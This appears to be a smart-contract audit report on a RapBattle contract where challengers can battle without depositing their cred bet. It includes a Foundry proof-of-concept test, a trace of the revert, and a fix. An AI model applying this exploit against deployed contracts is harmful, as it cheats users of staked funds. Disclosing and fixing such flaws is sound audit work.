Summary
Users can make battles without approving a cred
amount to the contract being able to do not pay if they lose.
Vulnerability Details
challengers
are not obliged to approve and transfer `_credBet' to the contract before the battle takes place
Impact
Defenders will not get _credBet
in case they win and challengers
will not pay if they lose.
POC
contract MyTest is Test {
RapBattle rapBattle;
OneShot oneShot;
Streets streets;
Credibility cred;
IOneShot.RapperStats stats;
address user1;
address user2;
address user3;
uint256 start;
event balance (address, uint256);
function setUp() public {
oneShot = new OneShot();
cred = new Credibility();
streets = new Streets(address(oneShot), address(cred));
rapBattle = new RapBattle(address(oneShot), address(cred));
user1 = address(1);
user2 = address(2);
user3 = address(3);
oneShot.setStreetsContract(address(streets));
cred.setStreetsContract(address(streets));
start = block.timestamp;
}
function test_battle() public {
vm.startPrank(user1);
oneShot.mintRapper();
oneShot.approve(address(streets), 0);
streets.stake(0);
vm.stopPrank();
vm.startPrank(user2);
oneShot.mintRapper();
oneShot.approve(address(streets), 1);
streets.stake(1);
vm.stopPrank();
vm.startPrank(user3);
oneShot.mintRapper();
oneShot.approve(address(streets), 2);
streets.stake(2);
vm.stopPrank();
vm.warp(start+4 days);
vm.startPrank(user1);
streets.unstake(0);
vm.stopPrank();
vm.startPrank(user2);
streets.unstake(1);
vm.stopPrank();
vm.startPrank(user3);
streets.unstake(2);
vm.stopPrank();
uint256 balance1 = cred.balanceOf(user1);
uint256 balance2 = cred.balanceOf(user2);
vm.startPrank(user2);
cred.approve(address(rapBattle), 4);
oneShot.approve(address(rapBattle), 1);
rapBattle.goOnStageOrBattle(1,4);
vm.stopPrank();
vm.startPrank(user3);
rapBattle.goOnStageOrBattle(0,4);
vm.stopPrank();
uint256 balance_final1 = cred.balanceOf(user1);
uint256 balance_final2 = cred.balanceOf(user2);
assert(balance1+balance2 == balance_final1+balance_final2);
}
}
├─ [28430] RapBattle::goOnStageOrBattle(0, 4)
│ ├─ [1183] OneShot::getRapperStats(1) [staticcall]
│ │ └─ ← (false, false, false, true, 0)
│ ├─ [1183] OneShot::getRapperStats(0) [staticcall]
│ │ └─ ← (false, false, false, true, 0)
│ ├─ emit Battle(challenger: 0x0000000000000000000000000000000000000003, tokenId: 0, winner: 0x0000000000000000000000000000000000000002)
│ ├─ [18516] Credibility::transfer(0x0000000000000000000000000000000000000002, 4)
│ │ ├─ emit Transfer(from: RapBattle: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], to: 0x0000000000000000000000000000000000000002, amount: 4)
│ │ └─ ← true
│ ├─ [2926] Credibility::transferFrom(0x0000000000000000000000000000000000000003, 0x0000000000000000000000000000000000000002, 4)
│ │ └─ ← "ERC20InsufficientAllowance(0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9, 0, 4)"
│ └─ ← "ERC20InsufficientAllowance(0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9, 0, 4)"
└─ ← "ERC20InsufficientAllowance(0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9, 0, 4)"
Tools Used
Foundry
Recommendations
challengers
should deposit to the contract the _credBet
before the battle takes place
function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
// credToken.transferFrom(msg.sender, address(this), _credBet);
+ credToken.transferFrom(msg.sender, address(this), _credBet);
_battle(_tokenId, _credBet);
}
}